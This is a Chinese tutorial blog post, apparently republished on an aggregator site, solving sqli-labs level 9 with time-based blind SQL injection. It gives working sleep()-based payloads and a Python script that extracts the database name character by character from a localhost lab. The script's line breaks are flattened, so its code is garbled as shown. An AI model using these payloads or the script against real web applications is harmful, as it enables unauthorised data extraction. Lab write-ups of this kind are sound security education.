sqli-labs第九关—‘时间盲注

一·:判断闭合类型

先按照之前的判断方式判断,发现无论输入什么都显示You are in..........

可以考虑使用时间盲注:

二:时间盲注Time-based Blind:

1.解释:

通过时间延迟判断结果

2.核心原理:

利用时间函数sleep(),构造条件语句

  • 如果条件为真 → 延迟N秒 → 页面响应变慢
  • 如果条件为假 → 不延迟 → 页面快速响应

3.关键函数:

sleep(n):让数据库等待n秒

if(条件,真时执行,假时执行‘’):判断

substr(str,start,length):substr("hello",1,1)返回h

ascii(char):ascii('a')=97

4.尝试判断注入点:

构造一个会延迟的payload,测试是否延迟

?id=1' and sleep(5)--+

页面响应5秒,存在时间盲注~

三:开始注入

1.爆库名长度

?id=1' and if(length(database())=8,sleep(5),0)--+

响应五秒,长度正确,数据库名长度为8

2.ascii码爆库名

-- 第一个字符是s
1' and if(ascii(substr(database(),1,1))=115, sleep(5), 0)--+
-- 第二个字符是e
1' and if(ascii(substr(database(),2,1))=101, sleep(5), 0)--+
...

爆数据库名为security

3,自动化脚本

import requests
#导入requests库
url = "http://localhost/sqli-labs/Less-9/?id=1'"
#设置目标URL,包含SQL注入点
charset = "abcdefghijklmnopqrstuvwxyz" 
#设置要猜解的字符集,这里只猜解小写字母a-z
database = ""
#初始化字符串,存储数据库名称
for i in range(1, 9):  # 已知库名长度8#外层循环遍历每个位置for char in charset:#内层循环遍历字符集payload = f" and if(ascii(substr(database(),{i},1))={ord(char)},sleep(5),0)-- -"#构造payload,使用substr函数截取数据库名称的第i个字符# #使用ascii函数将其转换为ASCII码# 然后与字符char的ASCII码进行比较# 如果相等则执行sleep(5)函数,否则返回0full_url = url + payload#将payload拼接到URL后面try:response = requests.get(full_url, timeout=10)if response.elapsed.seconds >= 5:#响应时间大于等于五秒,说明猜对了,加入到数据库名中database += charprint(f"当前库名:{database}")#阶段输出,方便查看进度breakexcept requests.exceptions.Timeout:#如果请求超过10秒,说明猜错了,继续猜下一个字符print("请求超时,可能触发延迟")continue
print("最终库名:", database)

运行方式参考前一关解说~~

 ❀❀❀ 完结撒花!! ❀❀❀

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/293.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

先说爱的人为什么先离开

2025年5月19日,15~23℃,贼好的一天,无事发生 待办: 2024年税务申报 《高等数学2》取消考试资格学生名单 《物理[2]》取消考试资格名单 5月24日、25日监考报名 《高等数学2》备课 《物理[2]》备课 职称申报材料 教学技能大赛PPT 遇…

(10)python开发经验

文章目录 1 cp35 cp36什么意思2 找不到pip3 subprocess编码错误4 导出依赖文件包含路径5 使用自己编译的python并且pyinstall打包程序 更多精彩内容👉内容导航 👈👉Qt开发 👈👉python开发 👈 1 cp35 cp36什…

Ubuntu搭建TFTP服务器的方法

0 工具 Ubuntu 18.041 Ubuntu搭建TFTP服务器的方法 在Ubuntu下搭建TFTP服务器可以让我们下载文件到开发板更加方便,同时也可以实现TFTP加载Linux镜像,方便调试。 1.1 安装tftp-hpa(TFTP客户端)、tftpd-hpa(TFTP服务…

深入了解linux系统—— 基础IO(上)

文件 在之前学习C语言文件操作时,我们了解过什么是文件,这里简单回顾一下: 文件存在磁盘中,文件有分为程序文件、数据文件;二进制文件和文本文件等。 详细描述见文章:文件操作——C语言 文件在磁盘里&a…

代码随想录算法训练营第六十六天| 图论11—卡码网97. 小明逛公园,127. 骑士的攻击

继续补,又是两个新算法,继续进行勉强理解,也是训练营最后一天了,六十多天的刷题告一段落了! 97. 小明逛公园 97. 小明逛公园 感觉还是有点难理解原理 Floyd 算法对边的权值正负没有要求,都可以处理。核心…

【深度学习基础】从感知机到多层神经网络:模型原理、结构与计算过程全解析

【深度学习基础】从感知机到多层神经网络:模型原理、结构与计算过程全解析 1. 引言 神经网络的重要性: 作为人工智能的核心技术之一,神经网络通过模拟人脑神经元的工作机制,成为解决复杂模式识别、预测和决策任务的利器。从图像分…

第8讲、Multi-Head Attention 的核心机制与实现细节

🤔 为什么要有 Multi-Head Attention? 单个 Attention 机制虽然可以捕捉句子中不同词之间的关系,但它只能关注一种角度或模式。 Multi-Head 的作用是: 多个头 多个视角同时观察序列的不同关系。 例如: 一个头可能专…

2025年PMP 学习十八 第11章 项目风险管理 (11.5~11.7)

2025年PMP 学习十八 第11章 项目风险管理 (11.5~11.7) 第11章 项目风险管理 序号过程过程组1规划风险管理规划2识别风险规划3实施定性风险分析规划4实施定量风险分析规划5规划风险应对执行6实施风险应对执行7监控风险监控 文章目录 2025年PMP 学习十八…

怎么在excel单元格1-5行中在原来内容前面加上固定一个字?

环境: WPS 2024 问题描述: 怎么在excel单元格1-5行中在原来内容前面加上固定一个字? 解决方案: 1.在Excel中,如果您想在单元格的内容前面添加一个固定的字,可以通过以下几种方法实现: 方法…

浅论3DGS溅射模型在VR眼镜上的应用

摆烂仙君小课堂开课了,本期将介绍如何手搓VR眼镜,并将随手拍的电影变成3D视频。 一、3DGS模型介绍 3D 高斯模型是基于高斯函数构建的用于描述三维空间中数据分布概率的模型,高斯函数在数学和物理领域有着广泛应用,其在 3D 情境下…

3D个人简历网站 5.天空、鸟、飞机

1.显示天空 models下新建文件Sky.jsx Sky.jsx // 从 React 库中导入 useRef 钩子,用于创建可变的 ref 对象 import { useRef } from "react"; // 从 react-three/drei 库中导入 useGLTF 钩子,用于加载 GLTF 格式的 3D 模型 import { useGLT…

动态规划(3)学习方法论:构建思维模型

引言 动态规划是算法领域中一个强大而优雅的解题方法,但对于许多学习者来说,它也是最难以掌握的算法范式之一。与贪心算法或分治法等直观的算法相比,动态规划往往需要更抽象的思维和更系统的学习方法。在前两篇文章中,我们介绍了动态规划的基础概念、原理以及问题建模与状…